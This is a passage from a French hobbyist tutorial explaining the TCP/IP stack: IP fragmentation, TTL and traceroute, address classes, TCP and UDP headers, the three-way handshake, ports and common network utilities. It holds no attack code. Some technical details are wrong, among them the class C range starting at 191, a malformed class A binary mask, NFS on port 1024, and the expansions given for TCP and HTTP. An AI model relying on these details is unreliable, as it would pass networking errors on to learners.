IP destination : champ exploité par les routeurs pour rediriger les trames.
Données* : contient le corps du message dont l'en-tête TCP ou UDP.
* -> Fragmentation :
_______________
Un réseau Ethernet par exemple ne peut acheminer des trames supérieures à
env. 1500 octets.
Or un Token Ring peut transporter des trames plus importantes. Donc lorsqu'une
trame est fabriquée par la couche AR d'une machine sous anneau à jeton, en
prévision de son éventuel transport via un réseau n'acheminant que de petits
datagrames, la Fragmentation permet de rendre de grosses trames digestibles
par un réseau du type d'un Ethernet.
Une machine peut procéder à une segmentation plus fine des paquets, si le réseau
en sortie n'a pas les performances suffisantes pour véhiculer le paquet d'origine.
L'en-tête IP contient donc des infos afin de définir comment devront être fragmentées
les données.
** -> Durée de vie :
______________
TTL ou "Time to live" est une valeur qui indique le nombre de routeurs que
le
Figure 8
datagrame poura franchir avant d'être concidéré comme "expiré".
Cela évite que le paquet ne se perde et ne soit relayé indéfiniement.
Lorsqu'un datagrame franchit un routeur, ce dernier décrémente la valeur
de la TTL de 1 jusqu'à atteindre 0. Lorsque la valeur atteint 0, le routeur
conçerné informe la machine émettrice que le paquet est perdu par l'envoi d'un
paquet ICMP comme là encore nous le verrons plus loin.
C'est le principe du traceroute :
Lorsqu'on trace une machine distante, IP envoie au routeur par défaut un datagrame
avec un TTL de 1. Le paquet expire qu premier saut et un paquet ICPM est forgé
par le routeur. Il indique que le paquet a expiré et mentionne son adresse IP.
La première machien mentionnée lors d'un traceroute est le routeur par défaut.
IP envoie ensuite un datagrame a destination de la machine traçée avec un TTL de 2.
Le routeur par défaut reçoit le paquet et l'aiguille vers le routeur le plus proche
du destinataire. Le second routeur reçoit donc le paquet qui expire et vous envoie
un message d'erreur avec sont adresse IP. Ainsi de suite jusqu'a obtenir l'adresse
IP de la cible et la liste de l'ensemble des machines intermédiaires.
L'adressage logique mis en place par IP lui permet de faire transiter les informations
sur plusieurs réseaux consécutifs bien que ceux-ci ne soient pas homogènes.
C) Adressage IP :
_________________
L'adressage IP nous l'avons vu perment du dépasser les problèmes d'incompatibilité
matérielle et autorise de ce fait la communication entre deux machines de deux
réseaux de topologie différente.
A chaque machine est attribuée une adresse IP qui permet de situer cette machine sur
internet.
1) Compostion d'une adresse IP :
________________________________
Une adresse IP est comme une adresse postale. Il faut l'adresse de la maison, et celle
de la rue/ville. Une adresse IP est donc composé d'une partie qui définit le réseau et
d'une autre qui identifie la machine sur ce réseau. On parle respectivement d'ID réseau
et d'ID hôte.
Par exemple : 195.6.210.9 -> [195.6.210] [.9]
| |
ID réseau |
|
ID hôte
Pour identifier l'ID réseau de l'ID hôte on utilise un "masque de sous-réseau".
Le masque de sous-réseau de 195.6.210.9 est 255.255.255.0 ce qui donne :
[255.255.255] [.0]
| |
| |
sépare l'ID réseau ...
|
|
... de l'ID hôte
Une adresse IP, telle qu'elle est insérée dans les en-tête des datagrames
IP, est une suite de 32 bits. Selon la taille (en bits) de l'ID réseau, on peut classer
les adresses selon 5 classes, de A à E.
2) Classification :
___________________
On trouve 5 classe dont 3 importantes.
Nous allons voir leurs caractèristiques imortantes de chacune d'entre elles.
Classe A :
__________
Un réseau de Classe A a une ID réseau sur 8 bits soit un octet.
Le masque de sous-réseau d'une adresse de classe A est 255.0.0.0
ce qui donne en valeur binarie : 111111111.00000000.00000000.00000000
Le premier octet d'une IP de classe A définit le réseau sur le quel se trouve la machine.
Sa valeur binaire commence toujours par un 0 ce qui donne des valeurs décimales
comprisent entre 0 et 127 pour l'octet de tête.
En clair, une IP de classe A commence par une valeur comprise
entre 0 et 126 car sous TCP/IP une IP commençant par 127 désigne votre propre machine.
Chaque réseau de classe A peut supporter persque 17 millions de machines !
Les IP de classe A sont affectées à des entités ( pays ... ) qui ont un grand nombre de
machines à connecter.
Classe B :
__________
Un réseau de Classe B a une ID réseau sur 16 bits soit 2 octets.
Les 16 bits restant désignent l'hôte sur le réseau.
Les 2 premiers bits de sa valeur binaire sont 1 et 0 ce qui donne en décimal
des valeurs comprises entre 128 et 191 pour l'octet de tête.
Le masque du sous réseau d'une adresse en classe B est 255.255.0.0
ce qui donne en binaire : 11111111.11111111.00000000.00000000
Chaque réseau de classe B peut supporter 65534 machines.
Les adresse de classe B sont donc allouées à des réseau qui
comportent un nombre courrant de machines ( grosse entreprise ... ).
Classe C :
__________
Un réseau de classe C a une ID réseau sur 24 bits soit 3 octets.
Le dernier octet désigne la machine sur le réseau.
L'octet de tête est compris entre 191 et 223 ce qui donne une forme
binaire : 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
Le masque de sous réseau d'une adresse en classe C est : 255.255.255.0
ce qui donne en binaire : 11111111.11111111.11111111.00000000
En classe C on ne peut écrire que 254 adresses par réseau.
Elles sont donc réservées à de petits réseaux.
Classe D :
__________
Cette classe n'a rien à voir avec les autres puisque les adresses
de classe D ne sont pas assignées à de hôtes.
Elles sont responsables de la multidiffusion. Le protocole
IGMP est s'appuie d'ailleurs sur les adresses de classe D pour
assurer l'envoi d'un même message à un ensemble de machines.
Les adresses de classe D sont assignées à un ensemble de machines.
Chacune d'entre elles possède sa propre adresse, mais une adresse
de classe D désigne aussi pour IGMP l'ensemble de ces machines pour
un envoi groupé de messages.
L'octet de tête a une valeur décimale comprise entre 224 et 239.
Classe E :
__________
Peu utilisée paraît-il.
Vois pas à quoi elle peut bien servir,
rien à dire dessus, désolé.
Maintenant que vous en savez un peu plus sur l'adressage, vous remarquez
que le language binraire est beaucoup utilisé pour définir les adresses.
Je ne pense pas que vous ayez besoin de détermier un nouveau masque pour
la segmentation de votre réseau, donc on ne va pas entrer dans les détails
de la conversion décimal/binaire !
J'ai juste voulu vous montrer à quoi ressemble une IP en language
binaire pour vous donner un exemple du type de données que TCP/IP
est amené à traiter.
Cependant, si vous voulez en savoir un peu plus vous pouvez m'écrire
en cliquant sur mon logo à vôtre gauche.
J'ai en plus réalisé un petit programme " binairy" + source qui réalise
pour vous une conversion.
| V. La couche transport |
________________________
-> Rôle de la couche transport
-> TCP
-> UDP
1 . Rôle de la couche Transport :
_________________________________
La couche Transport assure l'interface avec les applications. Elle est aussi
responsable du multiplexage/démultiplexage des informations et d'un contrôle
d'erreur.
La couche Transport est composée de 2 protocoles : TCP et UDP comme nous
le verrons plus loin.
1.1 Multiplexage / Démultiplexage :
____________________________________
La couche transport reçoit des données des applications, doit les traiter
puis les passer aux couches inférieures en direction du réseau.
Donc la couche Transport reçoit des données de plusieurs entrées
pour les rediriger vers une seule sortie : C'est le Multiplexage.
Lors de la réception, la couche Transport reçoit les données de la
couche internet, les traite et les redirige vers les applications
conçernées. Elle reçoit donc les données d'une seule entrée
pour les diriger vers plusieurs sorties : C'est le Démultiplexage.
Imaginez qu'une machine entame une session Telnet avec une autre,
et disons qu'en même temps qu'un utilisateur exporte des fichiers
par ftp et consulte un site web.
La couche Transport reçoit toutes les données de 3 applications
et les multiplexer de manière à les livrer à la couche Internet.
En clair :
________________________________
| | | |
| Telnet | FTP | WWW | Couche Application
__________ __________ __________
| |
| | | | |
| |_________|__________| | Couche Transport
| | | ( Multiplexage /
---------------|---------------- Démultiplexage )
| | |
| | |
| |
| |
| |
| | Basses Couches
| |
| |
| |
________________________________
|
|
| câble
____________________________________________________________________________________
En résumé, le multiplexage est la mise en série de données arrivant en parallèle,
et inversement pour le démultiplexage.
Ces transformations permettent aux Couches de bas niveau de traiter les données
sans tenir compte des applications dont elles sont issues ou auquelles elles sont
destinées.
Mais alors allez vous me dire, comment les protocoles de la couche transport font-ils
pour ne pas s'y perdre et, à la réception, démultiplexer les informations et les diriger
vers les bons services ?
Cela est rendu possible grâce aux sockets.
1.2 La notion de ports :
________________________
Un port est une adresse interne qui sert de chemin d'accès bidirectionnel
entre applications et couche Transport - j'aime bien cette phrase ! - .
C'est un numéro assigné à un service ou une application.
Les données à destination de la couche Application seront démultipléxées
par la couche transport qui les dirigera vers le ou les applications
correspondant au numéro de port mentionné dans leur en-têtes.
Dans l'exemple ci-dessus, les données à destination des service telnet,
FTP et WWW seront démultiplexées respectivement en direction des ports
23, 21 et 80.
Une application peut demander à la couche transport de la mettre en
relation avec une application distant au port 80 ( www ).
La demande est effectuée via un port source, au hasard le 2001, à destiation
du port 80 de la machine distante. Celle-ci va répondre à la machine cliente
par l'envoi des données désirées via le port 80 à destination du port 2001.
Un petit schéma ? :
machine Cliente Serveur
________________ ____________________
| | | |
| | Applications | |
| _________ | | __________ |
|___|P. source|__| |____| p. dest. |____|
| | n° 2001 | | | | n° 80 | |
| ----|---- | Transport | -----|---- |
________|_______ __________|_________
| | | | | |
| ^ | | Basses Couches | | |
| | | | | | | |
| | | | | V |
| | | | | |
________|_______ __________|_________
| |
| | requette à |
| V destination ^ |
| du port 80 | |
| ------> |
______________________________________________________________________________________
<------
réponse en provenance
du port 80
à destination du port 2001
La couche transport peut donc un port source ( ici 2001 ) pour emettre
une requette visant un port réservé ( ici le 80 ).
Le serveur utilisera le port conçerné ( le 80 ) comme port source
pour émettre sa réponse à destination du port source de la machine cliente.
Ce sont les sockets qui permettent cela.
Un socket est la combinaison d'une adresse IP et d'un n° de port.
Si l'on fait une demande de connection Telnet à la machine 195.6.210.9,
le socket de l'application serveur sera 195.6.210.9,23 .
C'est à ce socket que la couche transport va effectuer sa demande.
vLe système d'adressage interne par sockets permet à la couche transport
de démultiplexer les données en direction des bon services.
En admettant que vous ayez saisis le concept ...
Voyons ce qu'est un portocole orienté connection et non orienté connection,
ça vous servira pour la suite.
1.3 Protocole oriéntés connection :
____________________________________
Alors, un protocole orienté connection est chargé d'établir et de maintenir
une connection. Lui est associé un principe d'envoi d'accusés réception
par le destinataire. L'expéditeur est quand à lui informé de la validité des
données en transit. Puis le protocole met fin à la transmisson en avertissant
l'autre machine.
A l'inverse, un protocole non orienté connection ne se soucie pas d'entamer
une connection mais envoie directement les données sans en avertir le
destinatire. Il est moins fiable car il n'y a pas de contrôle d'erreur,
ni de la part du client, ni de celle du serveur. La communication
est enfin interrompue desuite aprés l'envoi des données.
Il est cependant plus rapide.
2. TCP :
_________
TCP signifie " Transfert Contrôl Protcol ".
Les données traitées par TCP sont donc élaborées de manière à reseigner
le protocole TCP du destinataire. Ce système permet la mise en oeuvre
de contrôle d'erreur de par et d'autre.
TCP est décrit par la RFC 793, voir annexe.
2.1 En-tête TCP :
__________________
Le protocole TCP local élabore un " segment de données " dont l'en-tête
contient champs destinés à renseigner le protocole TCP distant.
De cette façon, lorsque des trames se perdent sur le réseau, ou sont
altérées, le destinataire ne les reçevant pas, TCP en avertit
l'expéditeur pour lui redemander si nécessaire la réexpédition
des informations perdues.
Et tout ceci grâce aux informations contenues dans l'en-tête TCP :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Port source | Port destinataire |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro de séquence |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Accusé de réception |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Réservé |R|C|S|S|Y|I| Fenêtre |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Somme de contrôle | Pointeur de données urgentes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Remplissage |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| données |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port source :
_____________
C'est le n°,codé sur 16 bits, du port réservé à l'application cliente.
Port destinataire :
___________________
C'est le n° du port réservé à l'application sur la machine destinataire.
Il est lui aussi codé sur 16 bits.
N° de séquence :
________________
C'est le numéro du premier octet des données du segment. Le n° de séquence
sert à ordonner les données et à les situer par rapport au début de la
transmission. Si le segment est le premier de la transmission, le n° de séquence
est apellé " ISN " ( = n° de séquence initial ). Le premier octet de données
sera numéroté ISN + 1.
TCP assigne donc un n° de séquence à chaque paquet sortant et demande
un accusé de réception à l'autre machine.
Le n° de séquence ou n° d'ordre est codé sur 32 bits.
Accusé de Réception :
_____________________
Ce champ contient le prochain n° de séquence que le destinataire est pret
à reçevoir, c'est à dire le n° de séquence du dernier octet reçu + 1.
Ce champ ne sera pris en compte que si le Flag " ACK " a une
valeur de 1.
En abrégé je vais écrire A/R pour " accusé réception " ...
... à ne pas confondre avec la couche AR ( Accès Réseau ).
Offset :
________
Ce champ de 4 bits précise la taille de l'en-tête, indiquant donc où commençent
les données.
Réservé :
_________
Si vous avez à qui ...
Les Flags :
___________
- URG : Si le champ URG vaut 1, TCP interprête le champ " pointeur d'urgence ".
- ACK : Ce champ vaut 1 lorsque l'accusé de réception est à prendre
en compte.
- PSH : PSH = " push ". Quant ce champ vaut 1, TCP doit pousser les
données aux applications.
- RST : Demande la réinitialisation de la connection.
Le flag RST est utilisé si une machine reçoit un paquet
qui ne correspond pas à ce qui était attendu.
- SYN : Sert à la synchronisation des n° de séquence.
Lorsque le champ SYN vaut 1, le champ " n° de séquence "
contient le n° de séquence initiale ou ISN car TCP est entrain
de synchroniser.
- FIN : Le flag FIN vaut 1 lorsque une machine décide de mettre fin
à la transmission.
Fenêtre :
_________
Sert à contrôler le folt de données.
Détermine le nombre de séquences que l'emetteur poura envoyer
sans demander d'accusés réception.
Somme de contrôle :
___________________
Valeur sur 16 bits qui permet de vérifier l'intégrité des données.
A destination, TCP effectue un calcul à partir du segment reçu et
comprare le résultat à la valeur de ce champ. Si les données n'ont
pas été altérées au cours du transfert, les 2 valeur coïcident.
Pointeur de données urgentes :
______________________________
Valeur sur 16 bits qui pointe vers le n° de séquence du premier octet
d'une donnée urgente dans le segment.
En clair, si le falg URG est activé ( c'est à dire vaut 1 ), TCP prend
en compte ce champ qui lui indique où se trouvent les données urgentes
dans le segment.
Options :
_________
?
Remplissage :
_____________
Un en-tête TCP doit être composé d'un nombre d'octet multiple de 4 (32 bits).
Les octets de Remplissage terminent l'en-tête TCP de manière lui donner la
bonne longeur.
TCP à besoin des champs contenus dans les en-têtes pour mettre en place une
transmission et en garantir le bon déroulement.
2.2 Fonctionement de TCP :
___________________________
TCP gère des données de longueur variable. A chaque octet est assigné un numéro
d'ordre. Cependant, seul le n° d'ordre ( ou n° de séquence ) du premier octet
de donnée du segment est contenu dans l'en-tête.
Si le segment est correctement réceptionné, TCP envoi à l'expéditeur
un message pour en accuser réception. Il va utiliser pour cela le champ
accusé réception de l'en-tête. Ce champ contiendra le n° d'ordre du dernier octet
reçu + 1. Cette valeur précise à l'expéditeur la valeur du prochain n° d'ordre
que le destintaire est pret à reçevoir de sa part.
Ceci est vrai sauf lors de l'établissement d'une connection comme nous allons le voir
plus loin.
Si les données se predent et n'arrivent pas au destinataire, TCP ne reçevra pas d'accusé
réception et en déduira à juste raison que les données ne lui sont pas parvenues.
Il va donc lui réexpédier les données à partir du dernier octet pour lequel il
aura reçu un accusé récption. Le flag ACK doit être à 1 pour que le champ A/R soit
pris en compte.
Etablissement d'une connection sous TCP :
_________________________________________
TCP est un protocole orienté connection. De ce fait, il doit, avant de commençer
un transfert de données, entamer la conversation de manière " courtoise " .
Un client doit donc adresser au serveur une demmande de connection.
Il lui envoit pour cela un segment. L'en-tête à un flag SYN à 1 pour avertir
la machine distante que TCP est en-train procéder à la sychronisation des n°
et que de ce fait, le champ " n° de séquence " est l'ISN, n° de séquence
initial. Le premier octet transmis une fois la connection établie sera
numéroté ISN + 1 ( et le n ième octet ISN + n ).
Le destinataire, reçoit ce segment. Le protocole TCP interprète
les champs. Il voit le SYN à 1 et comprend qu'il s'agit d'une demande
de connection.
TCP adresse donc à l'emetteur un segement en réponse. Dans l'en-tête de ce segement
le flag SYN est aussi à 1 ce qui signife qu'il est entrain de sychroniser
les n° de séquence et qu'il va lui adresser à son tour son ISN.
En effet, le champ " n° de séquence " contient alors l'ISN du serveur.
Le flag ACK est aussi activé. Cela siginfie que le client devra prendre en compte
le champ d'accusé réception. Ce champ contient à cet instant l'ISN + 1 de la
machine cliente ce qui correspond au numéro d'ordre du prochain octet de données
que le serveur est pret à reçevoir. Et cela tombe bien car souvenez vous que
l'on a dit que le premier octet aura pour n° d'ordre ISN ( du client ) + 1.
Enfin, la machine cliente reçoit le segement contenant l'ISN du serveur.
Il augmente l'ISN de 1 et lui retourne la valeur en la mettant dans le
champ " accusé réception " d'un nouveau segment. Il met un ACK à 1 pour
dire au serveur de tenir compte de l'accusé de réception.
Les n° de séquence sont donc à leur positon initiale. La communication
peut commençer.
La façon dont TCP entame une connection est apellée " Three Ways handshake "
ou triple poignée de main.
En effet, la connection s'établit en 3 temps.
Voyons sur un petit schéma :
La machine A veut entamer une transmission avec la machine B.
L'ISN de A est noté ISN(a), celui de B, ISN(b).
A --> SYN & ISN(a) --> B (1)
A <-- SYN/ACK & ISN(b) & ISN(a)+1 <-- B (2)
A --> ACK & ISN(b)+1 --> B (3)
1 : A envoit un segment. A y place son ISN(a).
Le flag SYN est à 1, le flag ACK à 0.
2 : B le reçoit et en envoit un en réponse. B y place son ISN(b).
B y place aussi ISN(a)+1 pour accuser réception de segment reçu de A.
Le flag SYN est à 1, le flag ACK est à 1 aussi.
3 : A reçoit le segment de B. Il y répond par un autre segment.
A y place l'ISN(b)+1 pour accuser réception du segment de B.
Le flag SYN est a 0, le flag ACK est à 1.
La connection établie, A poura commencer à envoyer les données.
Le premier octet aura comme n° d'ordre ISN(a)+1 comme s'y attend B.
Voila pour la demande de connection et l'initialisation du transfert.
Ceci n'est valable que lors de l'initiation de la connection.
Le déroulement se passe différemment.
Déroulement d'une session sous TCP :
____________________________________
Une fois la connection établie par une " triple poignée de main ",
les valeurs des champs des en-têtes varient.
Les flags SYN ne sont plus échangés car le champ " n° de séquence "
des en-têtes ne contient plus l'ISN des machinent mais le n° d'ordre
du premier octet du segment. Le champ A/R est toujours renseigné et
contient le n° de séquence + 1 du dernier octet reçu.
Voyons cela sur un schéma :
L'émetteur envoit un segment de ce type :
X1 X2 Xn
________ +--------+--------+ +--------+
|en-tête ||octet 1|octet 2| ... |octet n|
X 1 est le n° d'ordre du premier octet contenu dans l'en-tête.
X n est le n° d'ordre du n ième et dernier octet.
Le destinataire le reçoit et repond par un autre segment :
Y1 Y2 Yn
________ +--------+--------+ +--------+
|en-tête ||octet 1|octet 2| ... |octet n|
L'en-tête contient :
- Le champ n° de séquence : valeur Y1 ( n° de séquence du 1er octet ).
- Le Flag ACK à 1.
- Le champ Accusé Réception : valeur Xn +1 ( n° de séquence du dernier
octet reçu + 1 ).
Le destinataire en répondant de la sorte indique à l'émetteur que le prochain
n° d'ordre qui est attendu est Xn +1. Si tout se déroule bien, Xn +1 sera
le prochain n° d'ordre reçu. Il correspondra à la valeur du premier octet
du nouveau segement.
Incrémentation des n° de séquence ( ou n° d'ordre ) :
_______________________________________________________
Les n° d'ordre ne sont pas des nombres fixes.
Ce sont en fait des compteurs 32bits. La valeur d'un n° de séquence
peut varier de 0 à plus de 4 290 000 000. Elle est incrémentée
de de 128 000 par seconde et de 64 000 à chaque connection.
Cela évite que 2 machines entrant en connection avec une 3 ème
n'utilisent les mêmes n° d'ordres.
Ainsi, si un intrus voulait s'inviter dans la discussion en
usurpant l'identité de l'un des protagonistes, il lui faudrait
deviner leurs n° de séquence.
On comprend donc pourquoi lors de la " triple poignée de main "
les ISN doivent être synchroniés.
A doit avertir B du n° de séquence à partir duquel il va numéroter
ses octets et réciproquement.
Si vous ne voyez toujours pas l'intêret des n° d'ordre, imaginez que des paquets,
par suite d'un problème de routage, arrivent dans le désordre.
Le séquencage numérique et systématique des octets permet alors la remise
en ordre lors de la transmission.
Si, dans cet exemple, un paquet arrive avec un numéro de séquence supérieur
à celui qui était attendu par le destinataire, TCP comprend qu'il manque
un paquet entre celui-ci et le précédent. Il va donc en garder les données en
mémoire en attendant de reçevoir les données concidérées comme en retard.
Fin d'une connection sous TCP :
_______________________________
Pour terminer une connection, le flag FIN est utilisé par
les deux machines. A envoit un segment avec un flag FIN à 1.
B lui répond avec un flag FIN dont A accuse réception ce
qui met fin à la transmission.
2.3 Ports réservés TCP :
_________________________
Rapellons qu'un port est un chemin d'accès qui permet aux applications d'entrer en
contact avec les couches inférieurs. Un port est donc un numéro affecté à une application
ou un service. Les applications fonctionnant sous TCP utilisent un port réservé TCP.
Vous ne trouverez pas la liste complète des ports réservés TCP mais ceux de sertains
services que vous connaissez déja et qui fonctionnent uniquement sous TCP.
n° Port Application
21 FTP
23 Telnet
25 SMTP
79 Finger
513 Rlogin
Ces services fonctionnent sous TCP car ils justifient que soit mis en place un
système de contrôle d'erreur, et doivent donc se baser sur un protocole fiable.
Ce sont des services improtants.
Il ne faut pas pour autant oublier UDP, second portocole de la couche Transport.
3. UDP :
________
UDP est le second protocole de la couche Transport que nous allons développer.
UDP est décrit par la RFC 768, voir annexe.
3.1 Caractéristiques de UDP :
______________________________
UDP siginife " User Datagrams Protocol ". C'est un protocole non orienté connection.
Une connection sous UDP consiste en un simple envoi de données sans qu'il soit besoin
d'avertir le destinataire du début de la connection ( ni de la fin d'ailleurs ).
UDP ne met pas en place de contrôle d'erreur. Il est donc plus rapide mais son
utilisation est moins fiable. Les en-têtes UDP sont beaucoup plus légèrs que
celles de TCP.
Sous UDP, le message généré est apellé datagrame, à ne pas confondre avec
les datagrames IP. L'en-tête d'un datagrame fait 8 octets.
3.2 Format d'un datagrame UDP :
________________________________
+--------+--------+--------+--------+
| Port | Port |
| Source | Destinataire |
+--------+--------+--------+--------+
| | Somme |
| Longueur | de |
| | contrôle |
+--------+--------+--------+--------+
| données |
+-----------------------------------+
Port source :
_____________
C'est le n° sur 16 bits du port assigné à l'application qui expédie
le datagrame. Ce champ est facultatif. S'il est vide, l'application
distante ne poura pas répondre. Les 16 bits sont donc mis à 0 lorsque
le destinataire n'a pas besoin de répondre au datagrame de l'expéditeur.
Port Destinataire :
___________________
Ce champ contient le n° de port de l'application à laquelle
est destiné le datagrame.
Longueur :
__________
Donne sur 16 bits la taille du datagrame en-tête compris.
Ce champ aura une valeur de 8 si le datagrame ne transporte
aucune donnée ( comme dans le cas d'un ping ).
Somme de contrôle :
____________________
Ce champ contient une valeur qui permet à UDP de vérifier l'intégrité
des donées qui lui arrivent. Sur la machine émettrice, UDP génère une
valeur, en fonction de la taille du datagrame, qu'il place dans ce champ.
A destination, UDP éffectue le même calcul en compare le résultat à la
valeur de ce champ. UDP peut ainsi voir si les datagrames ont été ou
non altérés.
3.3 Ports réservés UDP :
_________________________
Si certains ports sont réservés TCP, d'autres en revanche le sont à UDP.
A titre d'exemple :
n° Port Application
69 TFTP
161 SNMP
1024 NFS
TFTP ( pour " Trivial File Transfert Protocol " ) permet d'uploader des données sur
un compte ( sans mot de passe contrairement à FTP ).
NFS quant à lui assure le partage de fichiers dans un environement Unix.
L'utilisation d'NFS par exemple gènère un important flot de données et dans ce cas,
UDP, plus léger et donc plus rapide que TCP, est utilisé pour faciliter le trafic.
Les protocoles TCP et UDP communiquent via les différents ports qui leur sont réservés
avec les applications.
| VI. La couche Application |
____________________________
-> Généralités
-> Les services de la couche Application
1) Généralités :
________________
La Couche Application constitue le sommet de l'architecture TCP/IP.
Elle contient tous les logiciels et les processus utilisant ports TCP et UDP
via la couche Transport pour atteindre le réseau et assure donc l'interface entre
les couches de plus bas niveau et l'utilisateur.
Toutes ces applications reçoivent les informations traitées par les différentes
couches inférieures. Elles émettent également leurs propres messages qui seront
traités par le reste de la pile puis plaçés sur le réseau.
Nous allons voir la positon de la couche Application de TCP/IP dans le contexte OSI :
OSI TCP/IP
___________________ <-----------------> __________________
| | | |
| Application | | |
___________________ | |
| | | |
| Présentation | | Application |
___________________ | |
| | | |
| Session | | |
___________________ <-----------------> __________________
| | |\ /|
| Transport | | \ / |
___________________ | \ / |
| | | \ / |
| Réseau | | \ / |
___________________ | Basses Couches |
| | | \ / |
| Liaison-Données | | \ / |
___________________ | \ |
| | | / \ |
| Physique | | / \ |
___________________ _____/_____\______
On voit sur ce schéma que la couche Application de TCP/IP est chargée de même
travail qui sous OSI est confié à 3 couches distinctes : la couche Session,
la couche Présentation et la couche Applicaton ( à ne pas confondre ).
-> la couche Sesson OSI : Elle gère les communications entre applications
et effectue la résolution de noms pour les
déterminer l'adresse logique du destinataire
à partir du nom d'hôte.
Ce service sera utile aux autres couches.
-> la couche Présentation : Elle convertit les données dans un format
compréhensible pour l'utilisateur.
Elle se charge également de la compréssion
des données.
-> la couche Application : Elle contient l'ensemble des logiciels qui
communiquent via les couches inférieurs.
La couche Application TCP/IP accomplit donc des taches identiques à celles
des couches 5, 6 et 7 d'OSI.
La couche Application TCP/IP est donc charger de la résolution de noms, de traiter
les données en provenance des autres couches et d'assurer l'interface utilisateur
en fournissant un ensemble de logiciels ayant accès au réseau.
2) Les services de la Couche Application :
__________________________________________
La couche Application contient, nous l'avons dit, tous les logiciels ayant à accéder
au réseau. Certains sont de simples utilitaires de test / configuration, d'autres
sont des logiciels d'administration à distance et d'autres encore sont des utilitaires internet.
2.1 Utilitaires réseau :
________________________
Au nombre de ces utilitaires on trouve la plupart de ceux que vous conaissez déja.
Tous sont nées sous environement Unix.
Ping :
______
Test la connection à une machine.
Traceroute :
____________
Affiche la liste des machines intermédiaires entre la source et la cible en suivant
le chemin d'un datagrame. Le principe de Traceroute est expliqué au chapître 4
" La Couche Internet ". Sous DOS, le traceroute est exécuté par la commande " tracert ",
tandis que sous unix, il est invoqué par la commande " traceroute ".
ARP :
_____
Affiche et modifie les tables de correspondance entre adresses IP et adresses MAC.
Sous DOS,
" > arp -a 127.0.0.1 " affiche la table ARP locale.
" > arp -a 123.1.2.3 " affiche une table ARP distante.
" > arp -s adresse IP adresse MAC " ajoute une entrée à la table ARP locale.
IPConfig :
__________
Affiche les paramètres courants du protocole IP.
Informe de l'adresse logique locale.
Sous windows 9x, ce logiciel est exécuté par "winipcfg".
Sous winsows NT, il est invoqué par " ipconfig ".
Sous Linux, il l'est par " ifconfig ".
Netstat :
_________
Affiche les statistiques des protocoles IP, TCP, UDP et ICMP.
Nbtstat :
_________
Sous windows, affiche les statistiques NetBIOS.
D'autres logiciels contenus dans la couche Application sont utilisés pour
l'administration à distance.
2.2 Logiciels d'Administration :
________________________________
Là aussi, vous les conaissez tous ou presque ...
FTP :
_____
" File Transfert Protocol ", ce logiciel implémente un protocole de transfert
de fichiers. La connection au serveur est obtenue par " % ftp serveur.com ".
L'accès au compte est protégé par mot de passe.
FTP travaille sous TCP. FTP est décrit par la RFC 959.
TFTP :
______
" Trivial File Protocol ", ce logiciel permet un transfert de fichiers sans mots de
passe. TFTP travaille sous UDP.
Telnet :
________
Un autre logiciel incontournable ...
Telnet permet l'administration d'une machine à distance en ouvrant depuis celle-ci
un terminal via le réseau. Telnet est décrit dans la RFC 854.
Rexec :
_______
Signigie " Remote Execution " et fait partie des commandes *R.
Sous environement Unix, il permet d'exécuter des commandes sur une machine distante.
Rlogin :
________
Toujours sour Unix, rlogin siginfie " Remote login " et permet de se loger
et d'administrer une machine distante. L'authentification ne s'effectue pas
par mots de passe mais, comme pour toutes les commandes *R, par la présence
d'un fichier ".rhosts" dans le répertoire principal du compte auquel on se
connecte.
Rsh :
_____
Rsh siginfie " Remote Shell " et permet là encore sans mot de passe, l'ouverture d'un
shell depuis une machine distante ou l'exécution d'autres commandes.
Finger :
________
Cet utilitaire permet de consulter la liste des utilisateurs présents sur un système local
ou distant. Utilisé avec l'option "-l", il permet d'obtenir des informations détaillées
sur chaque utilisateur.
2.3 Utilitaires Internet :
__________________________
Cette catégorie d'utilitaires est utilisée lors de la " navigation " sur internet.
Navigateurs :
_____________
Autrement apellés Browsers ( IE, Netscape, Lynx ), ils permettent d'accéder au
contenu html du web. Ils utilisent pour cela le protocole HTTP
" High Transert Text Protocol ".
Messagerie :
____________
Les logiciels de messagerie utilisent les portocoles SMTP ( " Simple Mail Transfert Protocol ")
et POP pour respectivement l'envoi et la réception du courrier électronique.
SMTP est décrit par la RCP 821.
Service Whois :
_______________
La commande Whois permet d'obtenir diverses informations à propos de sites ou de noms
de domaines. On peut donc par ce biais consluter les informations personelles du propriétaire,
des webmasters et des administrateurs du site.
2.4 Résolution de noms :
________________________
La résolution de noms établit la correspondance entre l'adresse alphanumérique
désingant la machine et son adresse logique. Le service DNS, " Domain Name System "
est respondable de cette conversion. Il est utilisé sur Internet aussi bien que
sur des petits réseaux. Lorsqu'un utilisateur saisit un nom de domaine, le logiciel DNS
de la machine cliente émet une requête à un serveur de noms qui fourniera l'adresse logique
correspondante. Les serveurs de noms communiquent entre eux au niveau de la couche Application.
Le principe de la résolution de noms fera l'objet d'un prochain chapître.
Voila, vous savez maintenant ce qu'est la couche Application.
Conclusion :
____________
Ainsi s'achève la Partie II " Le Système de Protocoles TCP/IP " et avec
elle la partie 1/2 de cette introduction.
A suivre : Partie III, chap 7. " Le Routage ", Chap. 8 " La Résolution de noms.
Si des erreurs se sont glissées dans cet article, prévennez moi de façon
à ce que je puisse publier un errata dans le prochain numéro.
Si vous avez des questions ou des remarques, je le répète, écrivez moi.
ANNEXE :
________
Les RFC :
_________
Vous trouverez toutes les RFC qui ont été citées tout au long de cet article sur
le site http://abcdrfc.free.fr .
Le Programme :
______________
